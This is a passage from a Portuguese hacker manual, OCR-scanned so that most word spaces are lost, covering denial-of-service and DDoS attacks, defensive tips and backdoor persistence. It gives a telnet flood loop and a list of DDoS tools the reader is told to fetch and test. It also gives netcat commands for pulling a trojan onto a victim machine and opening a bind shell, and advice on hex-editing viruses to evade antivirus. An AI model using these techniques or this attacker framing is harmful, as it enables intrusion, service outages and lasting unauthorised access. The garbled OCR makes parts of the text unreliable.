contra-ataque: Invasão r
  • Universidade3°ano Alémdessesmétodosquetirama máquinado ar,háoutrostiposbemmais sutis,emesmoalgunsinusitados.Porexemplo,lembra-sedenossosprogramas de bruteforce?Algunssistemas,paraevitarjustamentesereminvadidospor bruteforce,limitamo númerode loginspermitidos(o númerovaria,masa quantidadeusualé três).Bem,um programade bruteforcepodeserusado, então,parabloquearsistematicamentetodasascontasdo sistema,impedindo quequalquerusuário-selogue.Trêsacessosemcadacontasãosuficientes,o quetomaa operaçãoextremamenterápidae eficaz. Pode-setambémmultiplicarconexõesaumserviçoespecíficoatéquetodos osrecursosdo servidoremquestãosejamconsumidos- sejanaformadepro- cessosabertos,sejapormeiodeesgotamentodebanda.Porexemplo,sequere- mosderrubarum computadorcujo servidordeTelnetestejaligado,bastaro- darmosumscriptcomoesteemnossamáquinaUnix: while [1=1] ; do telnet ip.da.vítima.aqui & done; É possívelfazero mesmonoWindowscomum poucomaisde trabalho. Troquetelnetpelo lynx e você temumaferramentaparacausaro mesmo estragoemservidoresHTfP.TroquepelocomandomaUe vocêpoderáencher o servidorSMTp'etc.Há aindaa possibilidadede fazero mesmocom ping, RedesMicrosoft,SSH,FTP (servidoresFTP do NovellNetwaresãoespecial- menteapetitosos...),Usenet,Finger,MS-SQL,MS-Access,ICQ...Achoquevocêjá "pescou"a idéia. Apesardosataquesacimadescritospoderemser feitosmanualmentepor hackersdeverdade,existemalgumasferramentasquefacilitame automatizam essetiposde ataque- e os lammersasadoram.Taisferramentaspodemser encontradasaos montes nos mesmos lugares anteriormente citados: packetstormsecurity.nl/DoS/e em www.astalavista.box.sk.No endereço www.astalavista.com/library/ddoslbasics/intro.shtmlhá um tutorialinteres- sante(em inglês)sobrediversostiposde pequenosataquesde DoS local e remotoquepodemsertentados.Estudetodoseles,procurandona Internet exemplose informaçõesadicionaissobrecadaum. MasháalgomuitomaismalvadoqueDoSsimples:osataquespor negaçãode serviçoremotodistribuído,ouDDoS. Negaçãode ServiçoRemotoDistribuído Os ataquesSmurfe Fragglejá sãomaneirasefetivasdeampliarataquesorigi- nadosemumúnicoponto- por issomesmosãochamadosde"lentesde au- mento".Entretanto,mesmoseutilizandodessalente,abandaderededisponí- velparao atacanteé limitada,e elenãopodemanterumataquecommuitos I 303I 1 Ataque,defesae contra-ataque:Invasão
  • I Universidade H4CK3R I pacotesparacadamáquinaamplificadorae manter,aomesmotempo,muitas máquinasamplificadorasenviandoessesmesmospacotesà vítima. Pararesolvera parada,foi desenvolvidoumcertotipo deataqueemqueos pacotesdestinadosàsvítimasnãosaemdamáquinadohacker,masdecompu- tadoreszumbiscontroladosremotamentepor ele. Nessescomputadores,o hackerinstalacertostiposdecavalodetróiaouvtrUsquerespondemacoman- dosexternose funcionamcomofontegeradorado ataquesãoos chamados agentesou zu.m.bis.O "contágio"dá-sepelosmesmíssimosmétodosjá estuda- dosatéaqui- invasão,distribuiçãocamufladae mesmocooperação.O atacan- tepossuiumou maisprogramasmestre,quecontrolamosagentes. Lembra-sedequandodissemosquea invasãode sistemasmenorespoderia serusadocomotrampolimparachegarà vítimaprincipal?Pois bem,estaé umadassituações.O atacantelevasemanas,àsvezesmeses,parainvadirpe- quenos sistemas - computadorespesso- aise servidoresdepe- quenas empresas - semqueseuinteresse imediatosejataismá- quinas.Elasserãousa- das, isso sim, como zumbisnumataquea grandescompanhias (123412341234...),e paraissoé necessário queos softwaresade- quadosestejaminsta- ladosnelas.O hacker pode, inclusive,con- sertaralgumascoisas e até atualizara má- quina do indivíduo, casoissosejanecessá- rio paraqueo ataque principalsejalevadoa termo. Umavezinstaladoos agentes,o hackerpode iniciarumataqueapar- tirdomestre: 3041 Ataque.defesaecontra-ataque:Invasão[ "Salvem-me!"
  • Universidade3°ano Imagineagoraqueo hackeré maistarimbado.Um ataqueDDoSpode ser sofisticadocom a distribuiçãode diversosmestres,controladostambémà distânciapelo invasor.Ele podetantousarferramentasespeciaisparatal,já existentes,comotambémusarcoisasdo sistemaoperacionalcomoo Netcat ou oTelnet. "Salvem-me!" 1305 I ]Ataque,defesae contra-ataque:Invasão
  • IUniversidadeH4CK3RI Agora,umapitadaamaisdemaldade:cadaumdosagentespodeusarlentes Smurfou Fraggleparamultiplicarsuaforça.Um ataquecomessaconfigura- çãoé devastador! 13061 Ataque,defesaecontra-ataque:Invasão[
  • Unive.rsidade3°ano MastersandSlaves Háumainfinidadedeferramentasparatodososataques000 e DDoSdescri- tosaquLAmaioriapodeserencontradanosdoissitesindicadosanteriormente: packetstormsecurity.nl/DoS/ e www.astalavista.box.sk. Outra seção, packetstormsecurity.nl/distributed/,tratade ferramentase tutoriaisDDoS. Procure,nossitesindicadose emseumecanismodebuscapreferido,infor- maçõese downloaddasseguintesferramentas: . Fapi . Targa . Blitznet . TrinOO/WinTrinOO . TFN/TFN2k/TFNWin ~Stacheldraht ~Shaft ~Trank ~Trinity Comotarefaparacasa,o estimadoleitorteráqueler a documentaçãoe tes- tartodos,um a um, e descobriremquaiscategorias(ásvezesmaisde uma) cadaumdelesseencaixa. Outratarefa:procureinformaçõessobreataquesa roteadores.Você ficará surpresoemsaberqueporvezesé maisfácilatacarequipamentosintermediá- riosdaInternetdo queo alvofmal.Seestámuitodifíciltirardo aro servidor daquelaempresainimigadomeio-ambiente,talvezo roteadorligadoa eleseja o lado mais fraco - e, de quebra,deixaa redeinternadelessemacessosà GrandeRede. Defesae contra-ataque Bem,lá vamosnós.Estefoi um capítulolongo.Procuramoscolocarneleo básicodobásicosobreataquesacomputadorese redes.Ustamosaqui,portan- to, algumasdicassobreo queprocurare por ondecomeçarparasegurarseus sistemase evitarquesejamatacadoscomessastécnicas. Recomendaçõesaplicáveisa todosostiposde ataques O maisimportante!Deixeativadosapenasos serviçosqueestárealmente usando.Seo servidoré apenasde HTTP e FTp,desabiliteFinger,Telnet,SSH, SMTP,POp,IMAP,Quake... ConfigurecorretamenteseufIrewall,e tenhasempremaisdeum tipo,pelo menosumdiferenteparacadaladodaDMZ.Prefiraf1ltrosdepacotepor esta- do deconexão(StatefulPacketFilters)e fIrewallsdo tipo Proxy.Mesmocom os serviçosdesabilitadosnosservidores,fecheasportascorrespondentesno 13071 1 Ataque, defesa e contra-ataque: Invasão
  • IUniversidadeH4CK3RI firewall paraevitartráfegofantasma(por exemplo,de backdoors)e ACK Scanning.Nãotenhapreguiça:façaumatabeladeregrasdeftltragemrealmen- te longae abrangente,preferencialmenteassociandoportase endereçose não simplesmentebloqueando. Mantenhasempreseussistemasatualizadosparaevitarser invadidopor vulnerabilidadesconhecidasebemdocumentadas.Atençãoespecialaoshotfixes e ServicePacksdaMicrosoft- o quenãoquerdizerqueseussistemasUnix e Novellprecisamdemenoscuidado. Por padrão,crieusuárioscomo núnimopossíveldeprivilégiose váaumen- tando-osàmedidaquesejapreciso.Casoo usuárionãoprecisemaisdoprivilé- gio,nãohesiteemcassá-Io.Criepolíticasseverase consistentesdecontas,que incluamnomesdeloginnão-óbvios,gerenciamentoostensivodecontasativas, desativaçãoimediata(ouantes,cancelamento)decontasociosas,senhasfortes contendoletras,númerose símbolose regrasparaalteraçãode senhasem menosde 30 dias.Alémdisso,um documentointernooficial,assinadopelo funcionário,deveregularclaramenteos equipamentosautorizadosa conectar à redee preverpuniçõescasoaredesejainvadidaoucomprometidapor mau usoou descuidodo usuário. War DiaLingeBrute Force Emprimeirolugar,tenteatacara si mesmocomferramentasdeforçabruta. Sevocênãodeveriapossuirmodemsou acessospessoaisde altavelocidade ligadosà suarede,estaé umaboamaneirade descobrir.Ao menorsinalde modemdiscado,cablemodemouaDSLnãoautorizadosemseusistema,remo- va-osimediatamente! ParasistemasacessíveisporInternetouporconexãoviaterminal,arecomendação é nãodaracessoatodasascontaspordefault.E cuidadocomascontaspadrãodo sistema!Obrigatoriamente,osacessosdeverãoserfeitosporVPNscriptografadas. No casode seunegócioou instituiçãorealmentenecessitarde modemse loginsexternosviaInternetou SSH,apolíticadesenhase acessodaempresa deveserseguidaà risca,e aspenalidadesaplicadasde formaexemplar. Estouro de pilha Nãohámuitoo quedizeralémdo óbvio:sevocêé programador,suaobriga- çãoé escrevercódigoimunea bufferoverflow.Mesmosendoinerenteàslin- guagensde programação,é possívelimplementarrotinasde verificaçãoque barraminjeçãomaliciosadedados. Sevocêé administradordesistemasoumesmousuáriodoméstico,mantenha seusistemasempreatualizadocom os últimos"remendos"publicadospelos fabricantesdeseusoftware.E nãoseconcentreapenasnosservidores:asesta- çõestambémsãovulneráveise portasdeentradaparasuarede. 13081 Ataque,defesaecontra-ataque:Invasão[
  • Universidade3°ano Quebrade senhas Paracomeçar,useferramentasde quebrade senhaemvocêmesmo.Só termine quandoestiversatisfeitocomo resultado- quedeveser,por acaso,zero:nenhuma senhaa descoberto.Façaessetesteperiodicamente,pelo menoscom o dobroda freqüênciacomaqualassenhasdevemsermudadas.Seapolíticadaempresaobriga osusuáriosamudara senhaacada30dias,tentequebrarassenhasdo sistemapelo menosa cada15dias. O métodomaiseficienteparabarraro broteforceé limitandoo númerodelogins e bloqueandotemporariamente(enãoemdefinitivo)ascontasdo sistema.Issocria umproblemadeDoS,masaindaé melhorqueter seusdadoscomprometidos. Eviteo roubodesenhasatodocusto,e dificulteaomáximoavidado crackerque porventuraconseguí-Io.Valedesabilitaros 1M HashesnoWindowsNT/2k,criarum servidordelogincentralizado,comcriptografiae segurança(comoo Kerberos),usar ShadowPasswordsno Unix (tambémcomlogincentralizadoviaLDAP+Kerberos)e mesmocriptografaros sistemasde arquivos. As severaspolíticasdesenhasdescritasacimatambémseaplicamnestecaso.Bem comocampanhasde consientizaçãodosusuáriosparaos malesdassenhasfracase do comportamentoderisco- senhasnãodevemserescritasemlugaralgum,muito menosdivulgadasoNUNCA! Porfim,ainstalaçãodesoftwaresquerejeitamsenhasfracasno atodocadastrodo usuário(eposteriortrocadesenhaperiódica- suaempresainstituiuisso,nãoé?)é um ponto-chaveparaevitarque os usuárioscoloquemem risco todaa redepor colocaro nomedocachorrocomosenhapessoal. War Driving Criptografesuaredee ativeo WEP.Pontofmal. SQl Injectionse CookiePoisoning Criedispositivosdeverificaçãoemtodos(repito:todos)oscamposdetodos (no- vamenterepito:todos)osformuláriosdo seusitenaInternet.Bloqueiesumariamen- tecaracteresperigososcomo=,'e",*,%e_oUmaboapolíticaé liberarapenasletras e númerose bloqueartodoo resto. Usesempreo métodoPOSTparaenviá-Iosao scriptprocessador,umavezqueo métodoGETdeixainformaçõesimportantesnaURL.Sepossível,criptografeoscam- posantesdeenviá-Ios.Melhorainda:useconexõesHTTPS/SSLcomcertificadosemi- tidospor empresasidônease criptografiaforte. No casodecookies,façaumcontroledesessãocoerente,comsessionIDspreferen- cialmentecriptografadose,sepossível,dinâmicos- mudandoacadapáginaacessada. Não se deveconfiarapenasna criptografiado SSL:criptografetudo váriasvezes ANTESdeenviarpor HTTPS(quetambémé criptografado). 1309I ]Ataque,defesae contra-ataque:Invasão
  • I Universidade H4CK3R I Sniffing, Spoofing e Hijacking Emprimeirolugar,coloquef1ltrosanti-spoofe detectoresde sniffersemto- dosospontosdeentrada,saídae passagem(roteadoresentresub-redes)desua rede.IDSssãobemvindose grandescompanheirosdessasferramentas. Mesmonãosendoimpeditivoparaaaçãodohacker,éumagentecomplicador: instaleswitchese bridgesemvezdehubse segmentesuaredeao máximo. Alémdobenefíciododesempenho,issocriaumacamadaamaisdedificuldade parao invasor.Sepossível,dividaa redeemsubredese coloqueroteadores comf1ltrosdepacotesmuitobemestruturadosparainterligá-Ias.Dependendo donúmerodepessoas,tempo,orçamentoe tamanhodarede,épossívelconfi- gurarestaticamenteastabelasMAC dosswitchese bridgesemcadaumade suasportas.Comisso,oequipamentoficaimuneaARPSpoofmgeMACFlooding. (masnãoao entupimentodaredeou mesmoà negaçãode serviçopossivel- menteprovocadospor eles).Masprepare-se:é umatarefahercúlea... Outro métodoparadificultar (e muito!) a açãodessasferramentasé a criptografiasistemáticadetodaa rede.Todaela.Usetudoo queestiverà mão, cadaqualparasuafunçãoespecífica:PGP/GPG,IPSec,HTTPs,SSH(usesem- pre SSHversão2!).Já vi projetosdeVPNscomváriosníveisde tunelamento, todoscriptografados.Leveemcontao fatodequecadanívelcriptográficotem um impactonegativofenomenalno desempenhototalda redee useo bom sensoparadosarperformancee segurança.. ImplementeDMZsnãosó entrea redecorporativae a Internet(issoé mio- pia!),mastambémdiversosníveisdeDMZsemesmoDMZsinterdepartamentais! VerifiqueapredictabilidadedosnúmerosseqüenciaisTCP de seuscomputa- dores.MáquinasWindows9x tornamisso brinquedode criança,máquinas FreeBSDe Solaris,por outro lado, sãofamosaspor serempraticamente randômicasnesseponto. SeestiverusandosistemasUnix,esqueçaos UnixTrusts.Alémdeles,outro esquemade confiançamuitoruimé o que a Microsoftchamade PDC/PDC TrustedRelationsnoWindowsNT.Evite-oscompletamente.Prefirasistemas modernoscomoo NovelleDirectoryouasinúmerasimplementaçõesdoLDAP, incluindoaíoAOSdaMicrosoft.Masusesempreumesquemadecriptografia. Senadadissoestiverdisponível,é maissegurodeixaro usuáriologar-seindivi- dualmenteemcadaum dossistemasdaempresado que ter um sistemade autenticaçãocentralizadocujoesquemadeconfiançaé falho. Negaçãode Serviço IDSsajudamadetectarataquesDoSlocais- anãoserqueo ataquedestruao próprioIDS,o queé bempossívele mesmoprovável. As defesascontraIP Spoofing,ARP Spoofinge MAC Floodingtambémaju- damaqui.TabelasMACestáticasemswitchesidem. 1310I Ataque.defesaecontra-ataque:Invasão
  • Universidade3°ano Sistemascomaúltimaatualizaçãoliberadapelafabricantesãomenosexpos- tosa DoSbaseadosemvulnerabilidadesconhecidas.Algunssistemaspossuem patchesqueostomaminclusiveimunesa ataquesdo tipoSYNFloode Smurf. Sepossível,compremaisvelocidadeparasuaconexãoe tenhasemprerotas alternativas(e secretas!)casoa conexãoprincipalestejainundada.Adequação detráfego(TrafficShape)tambémé desejável. Parao DDoS,umaúnicarecomendação,alémdasanteriores:mantenhaos zumbislongede suasmáquinas!Façaumaauditoriaperiódicaem todosos computadoresà procurade portassuspeitasou programasnão-autorizados. Umaúltimadica:Echolot(echolot.sourceforge.net). I 311 I Ataque, defesa e contra-ataque: Invasão
  • Ataque,defesae contra-ataque: . Manutencão. Capítulo "Now/'mcomingthroughthebackdoor Howdid/gethere/00 /mind /naneeriesortofway /senseyoureaching... Wil!youlingera littlelonger While/ wonder' TadpoLe, "Backdoor" i. -Entro livremente por sua porta de trás I Mas como cheguei a ela? I Até me importo I mas desprezo vocé I Eu o sinto me alcançar ... I Vocé ficará por ai um pouco mais? I Eu fico aqui-. Do single Backdoor. de i999.
  • IUniversidadeH4CK3RI Ganharacessoaumsistemaqualquer- sejaeleumweb site,umarede,um computadorMacintoshou um servidorNovell- nãoé bolinho.Emtodosos capítulospreparatóriose especialmenteno anterior,vimosalgunsmétodosde comoprepararo terrenoe ganharacessoaosnossoalvos.Nãotodos,nãomui- tos,sequerosmaisimportantes:a fIm de ilustrarospassosa seremseguidos, vimosapenasumou outroexemplo. Nãotomeestelivro,portanto,comoumaenciclopédiade ataques.Emvez disso,use-ocomocartilhaparaaprendero bê-a-bá,e vápesquisandoe estu- dandonos recursosindicadosemtodosos capítulos.Leiturasadicionaissão muito importantes.A sérieHackersExposed(McClure,Scambraye Kurtz, editoraMakron,zaediçãoemportuguêse 4aeminglês),compostadequatro livros - HackersExposed,HE Windows2k edition,HE Linux editione HE Webedition- éumaexcelentecompanheiraparanossapequenaobraeenfocá o assuntode maneiradiferente.Enquantotentamosmostrara mecânicada coisa,a sérieHE ofereceumverdadeiro"dicionário"deataques.Masnãodes- cuidedo Bugtraq!!! Umavezdentrodosintestinosdenossapresa,é horadecuidardemanterseu acessoe, possivelmente,bloquearacessoa outroscandidatosa invasorque, por descuido,podempôr aperderseusmesesdeestudoe esforço.Cuidemos, então,damanutençãodenossapermanêncianoseiodavítimapor longosanos. Backdoors Todacasapossuiumaportadetrás(ok,ok,algunsapartamentosmaispopula- res[apertamentos???]possuemapenasumapassagemparaacessoaoimóvel- e passapelasalade estar.Fazero quê...).Pelaportadetrástrazemosa feira,os empregadosdacasatêmacessoaointeriorparatrabalhar,os operáriostrazem ferramentase materialparareformaro banheiroe saímoscomo cachorropara passear.É,portanto,apropriadamentechamadadeporta de serviço. Por outrolado,pelaportadafrenterecebemosnossasvisitas.Seforumimó- vel comercial,é por elatambémquerecebemosnossosclientes.A decoração, os objetose o próprioespaçosãodiferentesnos ambientesatendidospelas duasportas.Portanto,é apropriadodizerqueambasasportaspossuemfun- çõesdiferentes,e,portanto,prestam-sea atividadesdiversas. Em um sistemacomputacional,muitasvezesé necessáriotambémpossuir váriasformasde acesso.O ambienteoperacionalqueos usuárioscomunsco- nhecemé desenvolvidodemodoa tornara utilizaçãodo sistemamaisfácile direta.Poroutrolado,devemhaverformasdeosadministradoresacessaremos sistemastambéme,assim,desempenharsuastarefas,muitasvezesatésimulta- neamente,semincomodaro usuário. 3141 Ataque,defesa e contra-ataque:Manutenção
  • Universidade3°ano Há diversasmaneirasde chegara isso.Em sistemasUnix, o administrador podesimplesmentelogar-seremotamentecomoroot (viaSSHv2, nuncavia Telnet!!!)e fazero quefor preciso.EmsistemasWindowse Macintosh,como nãoháessafacilidadepor padrão,é possívelinstalarprogramasquepermitem o mesmocontrole.Entreeles,podemoscitarCarbonCopy,LapLink,ControlIT, o SMSdaMicrosofte talvezo maisconhecidode todos:o pcAnywhere,da Symantec.Por meiodessesprogramas,administradoresentrampelas"portas detrás"nossistemasdosusuáriose fazemo quedeveserfeito. Háumoutrousoparaportasdetrásemcomputadoresdomésticoseestaçõesde trabalhocorporativas:softwaresespiões.Existemdiversossoftwares(comoo I Spye oWmKeylogger)desenvolvidosparaquecônjugesciumentos,paisextrema- dose empresáriosparanóicospossamvigiaro quesuascaras-metade,filhosou empregadosandamfazendo.Passandolongedadiscussãosobreosaspectoslegais, moraiseéticosenvolvidos,podemosafirmarqueessesprogramastambémabrem diversasportasdetrásnossistemasemqueestãoinstalados. A economiadetempo,dinheiroe recursosgeradapor essatecnologiaé enor- me.Bom,não?Novamente,nemtanto.Esehackersmal-intencionados(lembre- se:hackernãoé sinônimodebandido,portantoo qualificadoré apropriado...) conseguiremacessarseussistemaspor meiodessasportasde trás?Bem,aí temosumproblema. Portasdetrás maliciosas A soluçãoradicalparao problemaexpostoacimaé nãousartaisprogramas deformaalguma.Umasoluçãomaisrazoável- mas,acredite,muitovulnerável - é aplicartodosospatchesdesegurançarecomendadospelofabricante,usar senhasfortes,criptografiaetc.,ete.,etc.(vocêjá estácarecadesaber...). Entretanto,mesmoem sistemasnos quaiso administradornão instalou essetipo deprograma,a ameaçaexiste.Ao chegarao fim do capítuloante- rior estávamosdentrodo sistemadavítima,certo?Bem,a primeiracoisaa fazeré instalarumou maisbackdoorsparapodermosentrarnovamenteno futuro,pois certamenteo dono do sistemairá tamparo buracopor onde passamos.Adicionalmente,podemos corrigir todasasvulnerabilidadesdas máquinasque invadimos,impedindoque kiddiesdescuidadosse denunci- eme noslevemdeembrulho. Já falamosbastantesobrebackdoorsparaWindows nos capítulossobre Vulnerabilidades.EmVulnerabilidadesI, inclusive,mostramospassoa passo comoconfigurarum BackOrifice2000(ou B02K) paracontrolarmáquinas alheias.No casodessespacotesprontos,nãohá muitomaiso quefalar:são peçascomplexaspor seusmuitosrecursos,masao mesmotemposãouma grandecoleçãoderotinassimples.Um programadorcom conhecimentosde parcosa moderadosemalgumalinguagemmoderna,comoJava,VisualBasic, 1315 I ]Ataque,defesae contra-ataque:Manutenção
  • IUniversidadeH4CK3RI C#,C++ouObjectivePascal(usadanoDelphi/Kylix)poderiaescreverempou- cosdiasbackdoorstãoou maiscompletose complexosqueo B02K. NetBus, Sub7,AlienToy...A listaé vasta.Mesmoprogramasdeadministraçãosérios(em tempo:o B02K foi desenvolvidocomoaplicaçãoséria!)comoo pcAnywhere ou oVNC podemserusados"parao mal". Novamente:"Atétu, Brutus?" Alémdasferramentasespecíficasjá exaustivamentedescritasaolongodo li- vro,o própriosistemaoperacionalépródigoemrecursosquepodemserusados a favordo invasor- e contrao donodamáquina.Comojá cansamosdever, servidoresdeTelneteFfp podemusadoscomnovascontas,especialmentecria- daspelohackernosistemaparaposteriorinvasão(pelaportadefrente,hehehe...). Cadasistemapossuisuaidiossincrasiae seuconjuntodeprogramasquepodem serusadosparafabricarum backdoor.Alémdenaoserprecisoinstalarnada, programasjá existentesno computadorraramentelevantamsuspeitas. Masháumpequenoutilitário,presenteemtodososUnixe disponívelparaa famíliaWinNT,queé especialmenteinteressanteparacriarbackdoorsimprovi- sados.ChamadodeNetcat(www.atstake.com/researchJtools/networkutilities), permiteinúmerostruquesemredesprivadase na Internet- e podeserusado comobackdoortambém! ApesardepossuirversõesparaWindows,o nomeNetcatveiodeseuprimo cat,o comandonoUnix paramostraro conteúdodeumarquivono terminal. Observe: $ cat Buttix Hey Beavis, I'm a Unix string!!! $ O comandocat jogou o conteúdo do arquivo Buttix na tela do terminal.Da mesmaforma,o comandonc pode jogar,de um lado a outro da conexão (ou seja,nãonecessariamentenatela),o queumadeterminadaportadeum compu- tador distanteestácuspindo na rede. A sintaxe mais simples é nc ip.do.computador.monitorado porta. Por exemplo, o comando C:\> NC 192.168.1.11 80 quandoemitidoemumcomputadorWmdows,vaiconectar-seemonitorartudo o quesaipelaporta80damáquinacujoIP é 192.168.1.11.Obviamente,aporta80 temdeestaraberta,casocontrárioo Netcaté abortado.A sintaxeé idênticaem umamáquinaUnix.Naverdade,eleagecomoumclientedemãodupla- recebee tambémtransmitedados.Nessemesmoexemplo,aoemitiro comando,nadaacon- tece- o outroladoestáesperandoporumaordem.Sabemosquetrata-sedeum servidorWeb,portantobastaenviaro comandoGET (sim,precisaestartudoem maiúsculas).Apóso comando,o código-fonteHTMLdapáginainicialdoservidor H1TPserámostradonatela.Pode-seusaro Netcatparaconectaravolumes5MB 1316 1 Ataque, defesa e contra-ataque:ManutençãoI
  • Universidade3°ano (porta139),FfP,Telnet,SMTP...Bastaconhecero protocoloe emitiroscomandos corretos.Paraconectar-seaportasUDp'usa-sea opção-u. O Netcatfuncionaemdoismodos.O modoclienteé o quevimos- envia qualquercoisacolocadaemsuaentradaparao IP/portaindicado.Sehouver respostas,apresenta-asna tela.Por entrada,entendemostantoa entradapa- drão(o teclado)comoqualqueroutroprogramaqueestejaacopladoàentrada (poderíamosusarpipes- funcionanoWindowse no Unix). Háumoutromodo,chamadomodoservidor.Éestequenosinteressa.O modo servidor,ao invésdeenviarcomandos,ficadeprontidãopararecebê-Iose de- volvero resultadodarequisiçãoparaa saídapadrão.Vejao seguintecomando: C:\> NC -1 -p 80 Nessecaso,o Netcatestáagindocomoservidor.A opção-1indicaisso.A opção-p indicaa portaa serusada.Façaumaexperiência:emnossaredede testes,coloqueo comandoacimapararodarnamáquinaWindows.Na máqui- naUnix,useocomandoaterior(nc 192.168.1.1 80).Experimentedigitarna máquinaUnixe vejao queacontecenaWindows:oscaracteresdasuaentrada padrão(nocaso,o seuteclado)sãotransferidosparaa saídapadrão(atela)da outramáquina.Bacana,né?Masvamosapimentarumpoucoascoisas. Imaginequevocê quer transferirum arquivodo seucomputadorparao computadorinvadido(umB02K, por exemplo).Nadamaissimples.O nome doarquivoé server.exee o endereçoIP docomputadoralvoé 192.168.1.1.No computadordavítima,useo comando De -1 -p 9999 > server.exe No do hacker,experimente De 192.168.1.1 9999 < server.exe Noteosredirecionamentos.No computadordavítima,o caractere">"indica redirecionamentoparao arquivoserver.exe.Todosos dadosrecebidosserão copiadosparalá.No computadordo atacante,o caractere"
  • IUniversidadeH4CK3RI conexãovierdefora(ouseja,damáquinadohacker).Invertendo-seospapéis, é a máquinadavítimaquerequisitao arquivo- e o firewallvai alegremente deixarissoacontecer. Namáquinadohacker:ne -1 -p 9999 < server. exe Na máquina da vítima: ne 192.168 .1.1 9999 > server. exe A máquinadohackerficaesperandoconexões.Quandoumaacontece,eleen- viao arquivoespecificado.A conexãofoi feitaapartirdamáquinadavítima.Ela originouaconexãoe começaareceberdados,quesãogravadosemserver.exe. Masalémdeplantarbackdoors,víruse trojansno sistemainvadido,o Netcat pode ser,elepróprio,um backdoor!A opção-e redirecionatudo o quefor recebidoparaumcomandoexterno!É fácilperceberque,redirecionandopara cmd.exenoWindowsoupara/bin/shnoUnix,o Netcatpodenosdarumshell, queteráos privilégiosdo usuário,emqueo nc foi executado.O comando completonamáquinadavítimaseria: ne -1 -p 9999 -e /bin/sh Ou, para sistemas Windows: NC -1 -p 9999 -e emd.eom Observequeaopção-epodevir desabilitadaporpadrão.Podesernecessário compilarocódigonovamentecomaopçãoGAPING_SECURITY_HOLE(onome já diz tudo...) ou baixar um executável já preparado para tal - netcat.sourceforge.neté umagrandepedida. Hádiversosoutrosusosparao Netcat,como,por exemplo,redirecionamento deconexões.É útil parafurarflfewallsou paracriarum encadeamento(daisy chainou tunnelingmode)entrevárioscomputadoresna Internetparafinsde spoofing.Domesmomodoquenoencadeamentodeproxiespúblicos,podemos usaro Netcatparamontarumarededeproxiesprivativos- 15ou 20namesma linhae comrotasalternativassãoaparatoscomunsdehackersexperientes! OutrousomuitointeressantedoNetcaté comoportscannerimprovisado.Esses emuitosoutrosdestinospodemserencontradosnoexcelentewhitepaperdeTom Armstrongintitulado"Netcat- o canivetesuíçodoTCP/IP" (www.giac.org/ practical/gseclTomArmstrongGSEC.pdf- eminglês).Umaalternativaderes- peitoaoNetcaté o CryptCat(www.farm9.com/content/FreeTools/CryptCat).É umdoneperfeitodoNetcat,comamesmafuncionalidadee sintaxe.Maspossui umdiferencialinteressante:todaa comunicaçãoé criptografada.Mesmoquea conexãosejadescoberta,nuncasaberãoo quesepassanela. O Netcaté, seguramente,a ferramentaUnix nativa(e muito instaladaem Windowstambém)maisusadacomoauxiliarpor invasoresemsistemasalhei- os.Por serminúscula,é facilmenteinstaladaemsistemasquenãoapossuem. Maso Netcatnão é o único meiode improvisarbackdoors.Fiqueatentoa quaisquerprogramasque possamdar acessoa sistemasde arquivos.O interpretadorPerIé umdeles:compoucaslinhasdecódigoé possívelmontar umservidorcomoo Netcatemmodo-1eenviararquivosporele,porexemplo. 1318 1 Ataque,defesaecontra-ataque:Manutenção[
  • Universidade3°ano Vírus e Cavalosde Tróia Apesarde seremdoisassuntosjá tratadosno decorrerdo livro, considera- mosbenéficorelembrarconceitosimportantes. Mais umavez,Vírus Nãohámuitooquefalarsobreepidemiasviraisquejánãosejamdoconhecimento detodos.Vírussãoprogramasquesecomportamcomoseushomônimosbiológicos: sãomicroscópicos,reproduzem-sesozinhos,consomemrecursoscomputacionais quenãolhespertencee têmaltacapacidadedeinfecçãoporcontágio. Apesarde os programasde antivírusclassificarem,comovírus,programas comocavalosdetróia,backdoorse (pasmem!)víruslegítimos,astrêscategorias deprogramassãoextremamentediferentes,e poderia-sedizeratécomplemen- tares.Os V1fUSnãoprecisamdostrojanscomomeiodetransportee vetorde contaminação.Muitomenosprecisamabrirbackdoorsparaentrare sairdos sistemasinfectados.Mas,apesardisso,tambémpodemutilizar-sedeles,casoa oportunidadeapareça. Um vírusde computadorpossuiobjetivosmuitoclaros:infectaro máximo possívelde sistemas,reproduzir-serapidamentee opcionalmenteconsumir recursose danificaros sistemasinvadidos. Comosãoauto-suficientes,fogeao escopodestelivrodiscorrera fundoso- breeles.Sugerimosaoleitorconsultarossitesdasgrandesprodutorasdeanti- vírusparaobterinformaçõesatualizadas. E lembre-se:um víruspode sero companheiroparaum ataquede DoS... Comotarefaparacasa,pesquisesobreosgrandesnomesdomundoviral:Ping- Pong,Mozart,Michelangelo,Madonna,Chernobyl,Melissa,LoveLetter(conheci- do no BrasilcomoI LoveYou),Nimda,Klez e BugBear.No campodateoria, estudesobreprogramaçãoorientadaa objetos(vírusutilizam-semuitodela), herança,polimorfismo,funçõesreprodutivase métodosdecontágio. Vírus ainda indetectáveis! Tomemosos V1fUSmaisconhecidos.O BugBear,por exemplo.A imprensao descrevecomo"apior ameaçaviraldetodosostempos"(assimcomofezcom o Klez...)e,no entanto,é umV1fUScomum,queusaasmesmastécnicasanciãs depropagação,infecção,destruiçãoe replicaçãodeoutrosmaisantigoscomo o Melissae quepodeserfacilmentedetectadopor um antivírusatualizado. Virusmaismodernospodemcamuflarsuascomunicaçõescomo mundoex- ternopor meiodechamadasdesistemae comunicaçãointerprocessos(releia os capítulossobresistemasoperacionais).Elespodem,por exemplo,"pegar emprestado"os socketsde seunavegadorpadrãoparamascarara comunica- ção.Ou usarseuclientedee-mailpadrão(por exemplo,o OutlookExpress- campeãodeaudiência)paraseautodistribuir.Emnenhumdoscasoso proces- 1319 I ]Ataque, defesa e contra-ataque: Manutenção
  • IUniversidadeH4CK3RI sodovirusvaiaparecerduranteacomunicação,e o comandonetstatvaireve- lar apenasumasimplesconexãoà Internetde seupróprio browser.Agora responda:quefIrewallvaibarrarcomunicaçõesH1TP ou SMTPoriginadasno ladodedentrodesuarede? O leitor poderiaaindaprotestar:"masmeuantivirusestáatualizadíssimo, como pegariavírusnovos"?A respostaé simples:umprogramadessesdetecta apenasvírusconhecidos.Um simpleseditorhexadecimalpodealterardeta- lhesdo víruse torná-Io,novamente,indetectadopor um tempo.Até queas empresasqueganhamdinheirocomessetipodepânicocorramparaatualizar seusbancosdedadose atéqueaspessoasatualizemseusantivírus,o estrago estáfeito.Numaestimativamuitotosca,os autoresconsideramquemaisde 90%dosvírusqueefetivamenteestãoà soltapelomundonãosãodetectados por nenhumdosprogramasantivírusexistentesno mercado. Por exemplo,umadasmaneirasjá bemantigasde confundirum antivírusé comprimiro arquivoexecutáveldomesmoe adicionarumstub(pequenopro- gramano iníciodo arquivocompactado)queo 